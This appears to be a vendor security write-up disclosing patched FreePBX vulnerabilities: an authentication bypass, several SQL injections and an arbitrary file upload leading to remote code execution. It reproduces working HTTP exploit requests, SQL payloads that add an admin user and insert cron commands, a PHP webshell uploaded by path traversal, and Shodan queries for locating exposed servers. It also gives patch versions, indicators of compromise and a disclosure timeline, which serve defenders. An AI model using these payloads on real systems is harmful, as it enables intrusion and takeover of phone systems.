Examining multiple vulnerabilities in FreePBX
TL;DR
We discovered an authentication bypass affecting the webserver authentication type (CVE-2025-66039), numerous authenticated SQL injections (CVE-2025-61675) and an authenticated file upload leading to remote code execution (CVE-2025-61678) in FreePBX. These vulnerabilities are easily exploitable and enable authenticated/unauthenticated remote attackers to achieve remote code execution on vulnerable FreePBX instances. These issues are patched in FreePBX versions 16.0.42, 16.0.92, 17.0.6, 17.0.22. It is important to note that the authentication bypass is not vulnerable in the default configuration of FreePBX.
Background
The product at the center of the issue is FreePBX. FreePBX is an open source IP PBX management tool which is a modern phone system for businesses that use VoIP to make and receive phone calls.
Given the nature of the product, FreePBX installations have a lot of moving parts and require relatively open access and availability. This makes it an ideal target for attackers.
Back in October, when a security advisory came out for FreePBX indicating an authentication bypass leading to SQL injection and remote code execution, aka CVE-2025-57819, researchers at Horizon3.ai started investigating since the issue was being exploited in the wild. It also was added to the CISA KEV list due to exposure and impact. For a while, nobody knew the exploit and AI slop exploits were doing their rounds on GitHub, which led to a spray and pray of exploits that were not the actual exploit.
What’s interesting, however, is that during our research, what we first thought was the authentication bypass and SQL injection leading to remote code execution actually turned out to be new vulnerabilities and were unrelated to CVE-2025-57819. We disclosed these new findings to FreePBX, which resulted in three separate advisories. A list of all recent vulnerabilities for FreePBX can be found here at FreePBX’s GitHub Security Reporting.
As of today, the authentication bypass that does not rely on auth type webserver CVE-2025-57819 has gained the most attention and exploitation for good reason. It’s vulnerable in the default configuration of FreePBX and is an authentication bypass that leads to SQL injection and Remote Code Execution by inserting OS commands into the MySQL cron_jobs table. Therefore, any SQL injections found can also result in remote code execution. Other payloads included adding users to the ampusers table or exfiltrating sensitive data.
Is my FreePBX vulnerable?
After discovering these vulnerabilities, we checked our customer base for exposure and did not find any customers vulnerable to these newly discovered issues. The main pre-requisite for unauthenticated exploitation is having FreePBX configured with either “webserver” authentication type or no authentication at all, but who would do that?😏
Checking exposure on Shodan for FreePBX yields the following results:http.title:"freepbx" 11,907 results
http.favicon.hash:"-1908328911" 10,977 results
http.favicon.hash:"1574423538" 398 results
http.title:"freepbx administration" 9,648
Based on our assessment of customer environments the authentication bypass does not look widespread since default FreePBX instances come with usermanager as the authentication type. The SQL injections and file upload exist regardless of authentication type, but a valid PHPSESSID is still required.
Detecting a FreePBX instance with an auth type webserver can be done by making a simple request without an Authorization header. Resulting in a verbose error message indicating we are missing the Authorization header.
CVE-2025-61675 – Multiple SQL Injections
During our research, we found four unique endpoints and 11 affected parameters vulnerable to SQL injection. Each issue allows for the same read and write access to the SQL database.
SQL Injection Basestation
A SQL injection vulnerability exists in the FreePBX Endpoint Management module affecting multiple parameters in the basestation configuration functionality. While authentication is required, the aforementioned authentication bypass is sufficient to exploit this issue. A known username appears to be required, though the default admin user appears sufficient.
Vulnerable Parameters
name, brand, template, ac
Request
POST /admin/config.php?display=endpoint&new=1&view=basestation HTTP/1.1
Host: 10.2.21.156
Authorization: Basic YWRtaW46YWRtaW4=
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://10.2.21.156/admin/config.php?display=endpoint&view=basefile&brand=aastra&template=test
Content-Type: application/x-www-form-urlencoded
Content-Length: 252
Origin: https://10.2.21.156
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-aliveid=&name='AD&brand=Sangoma&template=sangoma_default&mac=aabbccddeeff&ac=&repeater1=&repeater2=&repeater3=&multicell=no&sync_chain_id=512&sync_time=60&sync_data_transport=multicast&primary_data_sync_ip=0.0.0.0&sync_debug_enable=0&action=save_basestation
Response
HTTP/1.0 500 Internal Server Error
Date: Mon, 08 Sep 2025 15:03:02 GMT
Server: Apache
Last-Modified: Mon, 08 Sep 2025 15:03:02 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Set-Cookie: PHPSESSID=rkq36p1hdglarnsjkipup8284t; expires=Wed, 08 Oct 2025 15:03:02 GMT; Max-Age=2592000; path=/
Set-Cookie: lang=en_US
Connection: close
Content-Type: text/html;charset=UTF-8
<!--!DOCTYPE html><!--
PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'AD', 'AABBCCDDEEFF', '', 'Sangoma', 'sangoma_default', 'NULL', 'NULL', 'NULL'…' at line 2 in file /var/www/html/admin/modules/endpoint/views/page.endpoint.php on line 1354
Stack trace:
1. PDOException->() /var/www/html/admin/modules/endpoint/views/page.endpoint.php:1354
2. PDOStatement->execute() /var/www/html/admin/modules/endpoint/views/page.endpoint.php:1354
3. unknown() /var/www/html/admin/modules/endpoint/page.endpoint.php:10
4. include() /var/www/html/admin/config.php:658
SQL Injection Firmware
A SQL injection vulnerability exists in the FreePBX Endpoint Management module affecting multiple parameters in the firmware configuration functionality. While authentication is required, the aforementioned authentication bypass is sufficient to exploit this issue. A known username appears to be required, though the default admin user appears sufficient.
Vulnerable Parameters
brand
Request
POST /admin/config.php?display=endpoint&view=firmware&brand=aastra HTTP/1.1
Host: 10.2.21.156
Authorization: Basic YWRtaW46YWRtaW4=
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://10.2.21.156/admin/config.php?display=endpoint&view=basefile&brand=aastra&template=test
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Origin: https://10.2.21.156
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
brand='aastra&customfw=1&action=save_firmware&slot1=0.01&slot2=1.09
Response
HTTP/1.0 500 Internal Server Error
Date: Mon, 08 Sep 2025 15:00:25 GMT
Server: Apache
Last-Modified: Mon, 08 Sep 2025 15:00:25 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Set-Cookie: PHPSESSID=remlda5a75g6qf2q7pv6805isl; expires=Wed, 08 Oct 2025 15:00:25 GMT; Max-Age=2592000; path=/
Set-Cookie: lang=en_US
Connection: close
Content-Type: text/html;charset=UTF-8
<!--!DOCTYPE html><!--
PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'aastra'' at line 1 in file /var/www/html/admin/modules/endpoint/EndpointCommon.class.php on line 1334
Stack trace:
1. PDOException->() /var/www/html/admin/modules/endpoint/EndpointCommon.class.php:1334
2. PDOStatement->execute() /var/www/html/admin/modules/endpoint/EndpointCommon.class.php:1334
3. FreePBX\modules\Endpoint\EndpointCommon->getFirmware() /var/www/html/admin/modules/endpoint/views/page.endpoint.php:1572
4. unknown() /var/www/html/admin/modules/endpoint/page.endpoint.php:10
5. include() /var/www/html/admin/config.php:658
SQL Injection Model Basefile
A SQL injection vulnerability exists in the FreePBX Endpoint Management module affecting multiple parameters in the model configuration functionality. While authentication is required, the aforementioned authentication bypass is sufficient to exploit this issue. A known username appears to be required, though the default admin user appears sufficient.
Vulnerable Parameters
model, brand, id, template, OID
Request
POST /admin/config.php?display=endpoint&view=basefile&template=test&brand=aastra&model=6865i HTTP/1.1
Host: 10.2.21.156
Authorization: Basic YWRtaW46YWRtaW4=
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://10.2.21.156/admin/config.php?display=endpoint&view=basefile&brand=aastra&template=test
Content-Type: application/x-www-form-urlencoded
Content-Length: 108
Origin: https://10.2.21.156
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
models%5B%5D='6865i&brand=aastra&id=&template=test&edited=&action=changeBasefile&OID=¶m=test&value=value
Response
HTTP/1.0 500 Internal Server Error
Date: Mon, 08 Sep 2025 14:57:06 GMT
Server: Apache
Last-Modified: Mon, 08 Sep 2025 14:57:06 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Set-Cookie: PHPSESSID=svuk514nenpbv4d4g0caggagh3; expires=Wed, 08 Oct 2025 14:57:06 GMT; Max-Age=2592000; path=/
Set-Cookie: lang=en_US
Connection: close
Content-Type: text/html;charset=UTF-8
<!DOCTYPE html><!–
Exception: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘6865i’, ‘phone’, ”, ”, ‘test’, ”, ”, ‘value’, ‘1’)’ at line 1
SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘6865i’, ‘phone’, ”, ”, ‘test’, ”, ”, ‘value’, ‘1’)’ at line 1
:: in file /var/www/html/admin/libraries/utility.functions.php on line 123
Stack trace:
1. Exception->() /var/www/html/admin/libraries/utility.functions.php:123
2. die_freepbx() /var/www/html/admin/modules/endpoint/views/page.endpoint.php:668
3. unknown() /var/www/html/admin/modules/endpoint/page.endpoint.php:10
4. include() /var/www/html/admin/config.php:658
SQL Injection Custom Extension
A SQL injection vulnerability exists in the FreePBX Endpoint Management module affecting the custom extension configuration functionality. While authentication is required, the aforementioned authentication bypass is sufficient to exploit this issue. A known username appears to be required, though the default admin user appears sufficient.
Vulnerable Parameters
id
Request
POST /admin/config.php?display=endpoint&view=customExt&new=1 HTTP/1.1
Host: 10.2.21.156
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://44.195.35.230/admin/config.php?display=endpoint&view=customExt&new=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Origin: http://44.195.35.230
Connection: keep-alive
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Cookie: PHPSESSID=l4b3dh8jq4sq2g6clbrb70i786;
id=’
Response
HTTP/1.1 500 Internal Server Error
Date: Mon, 08 Sep 2025 14:53:09 GMT
Server: Apache
Last-Modified: Mon, 08 Sep 2025 14:53:09 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Set-Cookie: lang=en_US
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 112826
<!--!DOCTYPE html><!--
PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1 in file /var/www/html/admin/modules/endpoint/EndpointCommon.class.php on line 1965
Stack trace:
1. PDOException->() /var/www/html/admin/modules/endpoint/EndpointCommon.class.php:1965
2. PDOStatement->execute() /var/www/html/admin/modules/endpoint/EndpointCommon.class.php:1965
3. FreePBX\modules\Endpoint\EndpointCommon->getCustomExtView() /var/www/html/admin/modules/endpoint/views/page.endpoint.php:1609
4. unknown() /var/www/html/admin/modules/endpoint/page.endpoint.php:10
5. include() /var/www/html/admin/config.php:658
Adding a user to the ampusers table.
id=1%27%3BINSERT%20INTO%20ampusers%20%28username%2C%20password_sha1%2C%20sections%29%20VALUES%20%280x686f72697a6f6e33%2C%200x35653838343839386461323830343731353164306535366638646336323932373733363033643064%2C%200x2a%29%23
Remote code execution by inserting into cron_jobs table as seen in CVE-2025-57819.
INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','horizon3','<command>',NULL,'* * * * *',30,1,1) --
CVE-2025-66039 – Auth Type Webserver Authentication Bypass via Forged Authorization Header leading to SQL Injection
Now that we have some SQL injections, we need a way to trigger them without authentication. While looking for the auth bypass described in CVE-2025-57819, we noticed the advanced settings contain a handful of authentication types. The auth types include database, none, user manager, and webserver. FreePBX explains what each other type means, and webserver stuck out as an interesting one to dive into further since it relies on security at the apache level. It is important to note that the authorization type webserver is not the default configuration of FreePBX.
If you don’t see Authorization Type make sure you set the following to true to display them
With the pre-requisite configuration taken care of, we started looking for endpoints with the Endpoint Manager module since this is where the authentication bypass for CVE-2025-57819 was discovered. After browsing through the UI and using the provided features we grabbed an authenticated request and sent the same request but with the webserver type. The first error we got back indicated our authentication was incorrect.
Request
POST /admin/config.php?display=endpoint&view=customExt HTTP/1.1
Host: 10.2.21.156
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Content-Length: 4
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
id=1
Response
HTTP/1.0 500 Internal Server Error
Date: Wed, 15 Oct 2025 19:01:57 GMT
Server: Apache
Last-Modified: Wed, 15 Oct 2025 19:01:57 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Set-Cookie: PHPSESSID=2j99jt6vo9q3gpe75a2umm0ojd; expires=Fri, 14 Nov 2025 19:01:57 GMT; Max-Age=2592000; path=/
Connection: close
Content-Type: text/html;charset=UTF-8
<!DOCTYPE html><!--
Whoops\Exception\ErrorException: Undefined array key "PHP_AUTH_USER" in file /var/www/html/admin/libraries/gui_auth.php on line 38
Stack trace:
1. Whoops\Exception\ErrorException->() /var/www/html/admin/libraries/gui_auth.php:38
2. Whoops\Run->handleError() /var/www/html/admin/libraries/gui_auth.php:38
3.require() /var/www/html/admin/bootstrap.php:275
4. require_once() /etc/freepbx.conf:12
5. include_once() /var/www/html/admin/config.php:131
This is an interesting and helpful error, let’s check the code for more information on this file gui_auth.php . On line 38 we encounter an undefined array key for the PHP_AUTH_USER. Searching this keyword further we find in another file ServerBag.php it is expecting an Authorization header with base64 encoded username and password.
Once we add an authorization header with our username and random password we are granted access.
Request
POST /admin/config.php?display=endpoint&view=customExt HTTP/1.1
Host: 10.2.21.156
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Content-Length: 4
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Authorization: Basic YWRtaW46YWRtaW4=
id='
Response
HTTP/1.0 500 Internal Server Error
Date: Wed, 15 Oct 2025 19:32:14 GMT
Server: Apache
Last-Modified: Wed, 15 Oct 2025 19:32:14 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Set-Cookie: PHPSESSID=lfjbdn9m3rbpab4h2mttgkeh3b; expires=Fri, 14 Nov 2025 19:32:14 GMT; Max-Age=2592000; path=/
Set-Cookie: lang=en_US
Connection: close
Content-Type: text/html;charset=UTF-8
<!DOCTYPE html><!--
PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1 in file /var/www/html/admin/modules/endpoint/EndpointCommon.class.php on line 1953
Stack trace:
2. PDOException->() /var/www/html/admin/modules/endpoint/EndpointCommon.class.php:1953
2. PDOStatement->execute() /var/www/html/admin/modules/endpoint/EndpointCommon.class.php:1953
3. FreePBX\modules\Endpoint\EndpointCommon->getCustomExtView() /var/www/html/admin/modules/endpoint/views/page.endpoint.php:1598
4. unknown() /var/www/html/admin/modules/endpoint/page.endpoint.php:10
5. include() /var/www/html/admin/config.php:658
Aha! We’ve just proven that we are able to successfully gain SQL Injection by only supplying an Authorization header with a valid username admin and a invalid password. From here, it’s possible to leverage SQLmap and extract any data from the database or insert as well. For example, if we wanted to insert a user into the ampusers table we can issue a request like so and even though we get a 401 unauthorized, the user is still added to the database.
Request
POST /admin/config.php?display=endpoint&view=customExt HTTP/1.1
Host: 10.2.21.156
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Content-Length: 221
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Authorization: Basic YWRtaW46YWRtaW4=
id=1%27%3BINSERT%20INTO%20ampusers%20%28username%2C%20password_sha1%2C%20sections%29%20VALUES%20%280x686f72697a6f6e33%2C%200x35653838343839386461323830343731353164306535366638646336323932373733363033643064%2C%200x2a%29%23
Response
HTTP/1.0 401 Unauthorized
Date: Wed, 15 Oct 2025 19:38:05 GMT
Server: Apache
Last-Modified: Wed, 15 Oct 2025 19:38:05 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Set-Cookie: PHPSESSID=5i38569lk2dpmvebeiqih4uha0; expires=Fri, 14 Nov 2025 19:38:05 GMT; Max-Age=2592000; path=/
Set-Cookie: lang=en_US
Connection: close
Content-Type: text/html; charset=utf-8
…TRUNCATED
Proof our user was added
We confirmed the SQL Injections work with any authorization type, other authorization types require a valid PHPSESSID, but since the webserver auth type expects the Apache layer to handle the authorization FreePBX blindly trusts any request that contains a valid username in the Authorization header. We are able to leverage this for all the other SQL injections and upload a file that leads to remote code execution.
CVE-2025-61678 – Auth Type Webserver Authentication Bypass via Forged Authorization Header & Arbitrary File Upload Vulnerability
Now that we have a mechanism to bypass authentication under the webserver authorization type. We also noticed some other interesting endpoints. Such as the firmware upload endpoint. This provides the user a way to upload custom phone firmware. After issuing a few legitimate requests to see where the files are uploaded and what path, we noticed firmware is uploaded to the /tftpboot/customfw/ folder on the server. However, we were able to manipulate the file path as to where the file is stored as well as the contents not being validated which enabled us to upload any file types we desire. In this case, we figured a PHP webshell would be a great approach since FreePBX is written in PHP. Based on testing, it is required that a user has already uploaded a firmware file. If one wasn’t uploaded, the request fails.
We can issue the following requests to upload a PHP webshell
Issue a GET request to retrieve a valid PHPSESSID PHPSESSID=ubm0aqss91m258sf7p1um91to2;
Request
GET /admin/config.php HTTP/1.1
Host: 10.2.21.156
Referer: http://10.2.21.156/admin/config.php
Authorization: Basic YWRtaW46YWRtaW4=
Response
HTTP/1.0 401 Unauthorized
Date: Wed, 15 Oct 2025 19:50:26 GMT
Server: Apache
Last-Modified: Wed, 15 Oct 2025 19:50:26 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Set-Cookie: PHPSESSID=ubm0aqss91m258sf7p1um91to2; expires=Fri, 14 Nov 2025 19:50:26 GMT; Max-Age=2592000; path=/
Set-Cookie: lang=en_US
Connection: close
Content-Type: text/html; charset=utf-8
…TRUNCATED
Issue a POST request to upload the file with an arbitrary username and password such as random:random. A valid username is not required.
Request
POST /admin/ajax.php?module=endpoint&command=upload_cust_fw HTTP/1.1
Host: 10.2.21.156
Referer: http://10.2.21.156/admin/config.php?display=endpoint&view=custfwupgrade
Authorization: Basic cmFuZG9tOnJhbmRvbQ==
Cookie: PHPSESSID=ubm0aqss91m258sf7p1um91to2;
Content-Type: multipart/form-data; boundary=----geckoformboundaryccb9f95c9e4119dba1ec857b71f857d7
Content-Length: 1672
------geckoformboundaryccb9f95c9e4119dba1ec857b71f857d7
Content-Disposition: form-data; name="dzuuid"
48069f49-c03e-4182-81f7-48e36622e0d3
------geckoformboundaryccb9f95c9e4119dba1ec857b71f857d7
Content-Disposition: form-data; name="dzchunkindex"
0
------geckoformboundaryccb9f95c9e4119dba1ec857b71f857d7
Content-Disposition: form-data; name="dztotalfilesize"
3292
------geckoformboundaryccb9f95c9e4119dba1ec857b71f857d7
Content-Disposition: form-data; name="dzchunksize"
2000000
------geckoformboundaryccb9f95c9e4119dba1ec857b71f857d7
Content-Disposition: form-data; name="dztotalchunkcount"
1
------geckoformboundaryccb9f95c9e4119dba1ec857b71f857d7
Content-Disposition: form-data; name="dzchunkbyteoffset"
0
------geckoformboundaryccb9f95c9e4119dba1ec857b71f857d7
Content-Disposition: form-data; name="fwbrand"
../../../var/www/html
------geckoformboundaryccb9f95c9e4119dba1ec857b71f857d7
Content-Disposition: form-data; name="fwmodel"
1
------geckoformboundaryccb9f95c9e4119dba1ec857b71f857d7
Content-Disposition: form-data; name="fwversion"
1
------geckoformboundaryccb9f95c9e4119dba1ec857b71f857d7
Content-Disposition: form-data; name="file"; filename="webshell.php"
Content-Type: application/octet-stream
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd'] . ' 2>&1');
}
?>
</pre>
</body>
</html>
------geckoformboundaryccb9f95c9e4119dba1ec857b71f857d7--
Response
HTTP/1.1 200 OK
Date: Wed, 15 Oct 2025 19:57:17 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Headers: Content-Type, Depth, User-Agent, X-File-Size, X-Requested-With, If-Modified-Since, X-File-Name, Cache-Control, X-Auth-Token
Access-Control-Allow-Methods: POST
Access-Control-Allow-Origin: $url
Access-Control-Max-Age: 86400
Allow: POST
Content-Length: 15
Content-Type: application/json
{"status":true}
Let’s confirm it’s accessible and provides remote code execution
GET /webshell.php?cmd=cat+/etc/passwd HTTP/1.1
Host: 10.2.21.156
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.6.23
Connection: close
Accept-Encoding: gzip
Response
HTTP/1.1 200 OK
Date: Wed, 15 Oct 2025 20:01:51 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 2007
Connection: close
Content-Type: text/html; charset=UTF-8
<html>
<body>
<form method="GET" name="webshell.php">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
uuidd:x:100:105::/run/uuidd:/usr/sbin/nologin
messagebus:x:101:106::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:996:996:systemd Resolver:/:/usr/sbin/nologin
tcpdump:x:102:107::/nonexistent:/usr/sbin/nologin
sshd:x:103:65534::/run/sshd:/usr/sbin/nologin
polkitd:x:995:995:polkit:/nonexistent:/usr/sbin/nologin
admin:x:1000:1000:Debian:/home/admin:/bin/bash
redis:x:104:109::/var/lib/redis:/usr/sbin/nologin
mysql:x:105:112:MySQL Server,,,:/nonexistent:/bin/false
postfix:x:106:113::/var/spool/postfix:/usr/sbin/nologin
tftp:x:107:115:tftp daemon,,,:/srv/tftp:/usr/sbin/nologin
haproxy:x:108:116::/var/lib/haproxy:/usr/sbin/nologin
avahi:x:109:118:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
_chrony:x:110:120:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin
asterisk:x:999:994::/home/asterisk:/bin/bash
</pre>
</body>
</html>
And there it is!
Remediation and Disclosure Timelines
These issues were disclosed in accordance with Horizon3.ai’s Vulnerability Disclosure Policy. For more information, please refer to FreePBX’s advisories: SQL Injection, File Upload, Auth Bypass. FreePBX has stated that the SQL injection and file upload issues are mitigated in versions 16.0.92 & 17.0.6.
The authentication bypass received the following mitigations in versions 16.0.42 & 17.0.22. The option to choose authentication provider is now removed from their advanced settings and requires you to set it manually with fwconsole setting AUTHTYPE webserver. Once this is set a security warning is displayed on the dashboard warning the user with the following message.
Your system is using webserver authentication for the Authorization Type (Advanced Settings) option, which may offer reduced security compared to the default method.
To revert to the default authentication, run:
fwconsole setting AUTHTYPE usermanager
If this configuration is intentional, you may continue using it.
For more details, see GHSA-9jvh-mv6x-w698.
It’s important to note that the underlying vulnerable code is still present and relies on authentication layers in front to provide security and access to the FreePBX instance. It still requires passing an Authorization header with a Basic base64 encoded username:password. Depending on the endpoint, we noticed a valid username was required. In other cases such as the file upload shared above, a valid username is not required and you can achieve remote code execution with a few steps as outlined. It is best practice not to use the authentication type webserver as it appears to be legacy code.
Coverage for these issues is already available in NodeZero. To see how the NodeZero platform can help uncover and remediate critical vulnerabilities like this in your environment, visit our NodeZero Platform page or speak with an expert by requesting a demo.
Indicators of Compromise
- Unknown or suspicious entries in the ampusers table.
- Unknown or suspicious entries in the cron_jobs table.
- Webshells or other files uploaded to /var/www/html.
Disclosure Timeline
CVE-2025-61675 SQL Injections
- September 15, 2025 – Horizon3.ai discloses issue to FreePBX.
- September 15, 2025 – FreePBX acknowledges and begins triage.
- October 1, 2025 – FreePBX provides a preview patch.
- October 1, 2025 – Horizon3.ai confirms some SQL injection parameters unpatched.
- October 3, 2025 – FreePBX provides a preview patch.
- October 3, 2025 – Horizon3.ai confirms some SQL injection parameters still unpatched.
- October 7, 2025 – FreePBX provides a preview patch.
- October 8, 2025 – Horizon3.ai confirms all SQL injections patched
- October 14, 2025 – CVE-2025-61675 assigned.
- October 14, 2025 – FreePBX releases patch and advisory.
- December 11, 2025 – This write-up.
CVE-2025-61678 File Upload
- September 15, 2025 – Horizon3.ai discloses issue to FreePBX.
- September 15, 2025 – FreePBX acknowledges and begins triage.
- October 1, 2025 – FreePBX provides a preview patch.
- October 1, 2025 – Horizon3.ai confirms that the original PoC no longer works after applying the patch.
- October 14, 2025 – CVE-2025-61675 assigned.
- October 14, 2025 – FreePBX releases patch and advisory.
- December 11, 2025 – This write-up.
CVE-2025-66039 Auth Bypass
- September 15, 2025 – Horizon3.ai discloses issue to FreePBX.
- September 15, 2025 – FreePBX acknowledges and begins triage.
- October 1, 2025 – FreePBX provides a preview patch.
- October 1, 2025 – Horizon3.ai confirms that the original PoC no longer works after applying the patch.
- October 30, 2025 – Horizon3 follows up on status.
- November 25, 2025 – CVE-2025-66039 assigned.
- December 9, 2025 – FreePBX releases patch and advisory.
- December 11, 2025 – This write-up.
